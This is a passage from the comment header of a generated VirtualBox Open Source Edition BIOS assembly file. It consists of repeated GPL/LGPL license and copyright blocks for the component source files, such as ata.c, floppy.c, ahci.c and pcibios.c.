; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: print.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: ata.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: floppy.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: floppyt.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Floppy drive tables.
;
;
;
; Copyright (C) 2011-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: eltorito.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: boot.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: keyboard.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: disk.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: serial.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: system.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: invop.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Real mode invalid opcode handler.
;
;
;
; Copyright (C) 2013-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: timepci.c
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: ps2mouse.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: parallel.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: logo.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Stuff for drawing the BIOS logo.
;
;
;
; Copyright (C) 2004-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: scsi.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; SCSI host adapter driver to boot from SCSI disks
;
;
;
; Copyright (C) 2004-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: ahci.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; AHCI host adapter driver to boot from SATA disks.
;
;
;
; Copyright (C) 2011-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: apm.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; APM BIOS support. Implements APM version 1.2.
;
;
;
; Copyright (C) 2004-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: pcibios.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PCI BIOS support.
;
;
;
; Copyright (C) 2004-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: pciutil.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Utility routines for calling the PCI BIOS.
;
;
;
; Copyright (C) 2011-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: vds.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Utility routines for calling the Virtual DMA Services.
;
;
;
; Copyright (C) 2011-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: __U4M.asm
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Compiler support routines.
;
;
;
; Copyright (C) 2012-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
;
; Source file: __U4D.asm
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Compiler support routines.
;
;
;
; Copyright (C) 2012-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
;
; Source file: __U8RS.asm
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Compiler support routines.
;
;
;
; Copyright (C) 2012-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
;
; Source file: __U8LS.asm
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Compiler support routines.
;
;
;
; Copyright (C) 2012-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
;
; Source file: fmemset.asm
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Compiler support routines.
;
;
;
; Copyright (C) 2012-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
;
; Source file: fmemcpy.asm
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; Compiler support routines.
;
;
;
; Copyright (C) 2012-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
;
; Source file: pcibio32.asm
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; BIOS32 service directory and 32-bit PCI BIOS entry point
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; Source file: apm_pm.asm
;
; $Id:
; Protected-mode APM implementation.
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
;
; Source file: orgs.asm
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;
;
; Source file: DoUInt32Div.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; AHCI host adapter driver to boot from SATA disks.
;
;
;
; Copyright (C) 2011-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: ASMBitLastSetU16.asm
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; BiosCommonCode - ASMBitLastSetU16() - borrowed from IPRT.
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
;
; Source file: pci32.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; 32-bit PCI BIOS wrapper.
;
;
;
; Copyright (C) 2004-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
